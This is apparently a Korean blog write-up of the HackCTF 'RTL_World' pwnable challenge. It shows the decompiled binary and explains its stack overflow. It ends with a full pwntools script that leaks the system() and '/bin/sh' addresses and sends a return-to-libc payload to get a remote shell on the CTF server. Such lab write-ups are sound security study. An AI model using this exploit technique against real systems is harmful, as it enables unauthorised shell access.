본문 바로가기

study/CTF

[HackCTF] Pwnable - RTL_World

1. rtl_wold 파일을 다운받아서 IDA로 디컴파일 하기 + 코드 해석하기

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+0h] [ebp-A0h]
  int v5; // [esp+10h] [ebp-90h]
  char buf; // [esp+14h] [ebp-8Ch]
  void *v7; // [esp+94h] [ebp-Ch]
  void *handle; // [esp+98h] [ebp-8h]
  void *s1; // [esp+9Ch] [ebp-4h]

  setvbuf(stdout, 0, 2, 0);
  handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
  v7 = dlsym(handle, "system");
  dlclose(handle);
  for ( s1 = v7; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )
    ;
  puts("\n\nNPC [Village Presient] : ");
  puts("Binary Boss made our village fall into disuse...");
  puts("If you Have System Armor && Shell Sword.");
  puts("You can kill the Binary Boss...");
  puts("Help me Pwnable Hero... :(\n");
  printf("Your Gold : %d\n", gold);
  while ( 1 )
  {
    Menu(v4);
    printf(">>> ");
    __isoc99_scanf("%d", &v5);
    switch ( v5 )
    {
      case 1:
        system("clear");
        puts("[Binary Boss]\n");
        puts("Arch:     i386-32-little");
        puts("RELRO:    Partial RELRO");
        puts("Stack:    No canary found");
        puts("NX:       NX enabled");
        puts("PIE:      No PIE (0x8048000)");
        puts("ASLR:  Enable");
        printf("Binary Boss live in %p\n", handle);
        puts("Binart Boss HP is 140 + Armor + 4\n");
        break;
      case 2:
        v4 = gold;
        Get_Money();
        break;
      case 3:
        if ( gold <= 1999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 1999;
          printf("System Armor : %p\n", v7);
        }
        break;
      case 4:
        if ( gold <= 2999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 2999;
          printf("Shell Sword : %p\n", s1);
        }
        break;
      case 5:
        printf("[Attack] > ");
        read(0, &buf, 0x400u);
        return 0;
      case 6:
        puts("Your Not Hero... Bye...");
        exit(0);
        return result;
      default:
        continue;
    }
  }
}

2case 1 : 문제에 걸려있는 보호기법들

case 2 : 돈을 얻을 수 있는 방법 - Get_Money() 함수

case 3 : 돈이 충분하다면 System Armor을 줌 - 예상 →시스템 함수의 주소

case 4 : 돈이 충분하다면 Sell Sword를 줌 - 예상 → '/bin/sh'의 위치

case 5 : 공격

 

get_money()

int Get_Money()
{
  int result; // eax
  int v1; // [esp+8h] [ebp-Ch]
  int v2; // [esp+Ch] [ebp-8h]
  int v3; // [esp+10h] [ebp-4h]

  puts("\nThis world is F*cking JabonJui");
  puts("1) Farming...");
  puts("2) Item selling...");
  puts("3) Hunting...");
  v3 = 0;
  v2 = rand();
  printf("(Job)>>> ");
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 == 2 )
  {
    puts("\nItem selling...");
    while ( v3 <= 350 )
      ++v3;
    puts("+ 350 Gold");
    gold += v3;
    result = printf("\nYour Gold is %d\n", gold);
  }
  else if ( v1 > 2 )
  {
    if ( v1 == 3 )
    {
      puts("\nHunting...");
      while ( v3 <= 500 )
        ++v3;
      puts("+ 500 Gold");
      gold += v3;
      result = printf("\nYour Gold is %d\n", gold);
    }
    else if ( v1 == 4 )
    {
      puts("\nWow! you can find Hidden number!");
      puts("Life is Just a One Shot...");
      puts("Gambling...");
      printf("+ %d Gold\n", v2);
      gold += v2;
      result = printf("\nYour Gold is %d\n", gold);
    }
  }
  else if ( v1 == 1 )
  {
    puts("\nFarming...");
    while ( v3 <= 100 )
      ++v3;
    puts("+ 100 Gold");
    gold += v3;
    result = printf("\nYour Gold is %d\n", gold);
  }
  return result;
}

v1 == 4 일때, 랜덤(v2 =rand())의 돈을 획득 할 수 있게 되어있다.

 

2. 파일 실행해보기

1번의 코드 해석에 따라서 차례대로 값을 입력한다.

>>> 2

>>> 4

money() 함수가 실행되었다. 1번의 money() 함수 해석을 확인해보면 4를 입력하게 되면 gold을 랜덤하게 받는다.

>>> 3

충분한 돈(gold)을 얻었다면, 3을 실행하여 SYSTEM 함수로 추정되는 값을 얻는다.

>>> 4

그 다음에는 SHELL 주소로 추정되는 값을 얻기 위해 4를 실행한다.

>>> 5

마지막 공격코드를 입력해서 버퍼 오버플로우를 일으키는 5번을 실행해본다.

입력값으로 아무 값을 넣어서 프로그램이 종료된것을 볼 수 있다.

 

3. 종합된 출력물을 분석하여 python 파일을 작성하여 공격코드를 주입하기

- buf의 크기는 140 바이트

- v6의 크기는 12 바이트

- handle의 크기는 8 바이트

case 5:
        printf("[Attack] > ");
        read(0, &buf, 0x400u);
        return 0;

main() 함수의 case 5를 보면, buf의 크기는 0x8c 밖에 안되는데 0x400을 읽어 옴으로써 오버플로우를 발생시킨다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3010)

for i in range(0,8):
	p.recvuntil(">>> ")
	p.sendline("2")
	p.recvuntil(">>> ")
	p.sendline("3")
p.recvuntil(">>> ")
p.sendline("3")
p.recvuntil(" : ")
system_addr = int(p.recv(10), 16)

print "syste_addr : " + hex(system_addr)

p.recvuntil(">>> ")
p.sendline("4")
p.recvuntil(" : ")
shell_addr = int(p.recv(10), 16)

print "shell_addr :" + hex(shell_addr)

p.recvuntil(">>> ")
p.sendline("5")

payload = "A"*144
payload += p32(system_addr)
payload += "A"*4
payload += p32(shell_addr)

p.sendlineafter(" > ", payload)
p.interactive()

 

4. 만든 python 파일을 실행

 

'study > CTF' 카테고리의 다른 글

[HackCTF] Basic_BOF #2  (0) 2020.09.25
[HackCTF] Basic_FSB  (0) 2020.09.23
[HackCTF] Pwnable - Basic_BOF #1  (0) 2020.09.23
[CTF] pwanable.kr_passcode (PLT와 GOT 개념 정리)  (0) 2020.06.12
[CTF] suninatas.com_web02  (0) 2020.04.23